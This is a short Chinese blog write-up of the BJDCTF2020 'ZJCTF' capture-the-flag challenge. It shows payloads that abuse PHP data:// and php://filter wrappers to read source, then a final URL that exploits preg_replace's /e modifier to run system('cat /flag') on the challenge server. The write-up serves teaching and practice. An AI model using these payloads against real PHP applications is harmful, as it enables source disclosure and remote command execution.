BJDCTF2020 ZJCTF 不过如此
[BJDCTF2020]ZJCTF,不过如此
知识点
伪协议
preg_replace /e 模式下的代码漏洞问题
审题
1 |
|
get传俩参 file_get_contents必须要读到一个$text传来的内容为I have a dream的文件 想到用data伪协议来读 看到了next.php这个hint 尝试了一下直接?file=next.php不行 想了想用伪协议就行了
第一部分payload
1 | ?text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php |
这样就能读到next.php的内容了
第二步
1 |
|
然后就不会做了 瞄了一眼wp发现 原来preg_replace这个正则匹配表达式的/e模式这么危险 可以进行rce 具体的解释大家康康这位大佬的文章 写的已经很详细了
最终payload
1 | http://fdad1be2-5788-4d7a-a515-f49309c1b0a3.node3.buuoj.cn//next.php?\S*=${getFlag()}&cmd=system(%27cat%20/flag%27); |
EOF
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 2hl0k3r's Studio!
评论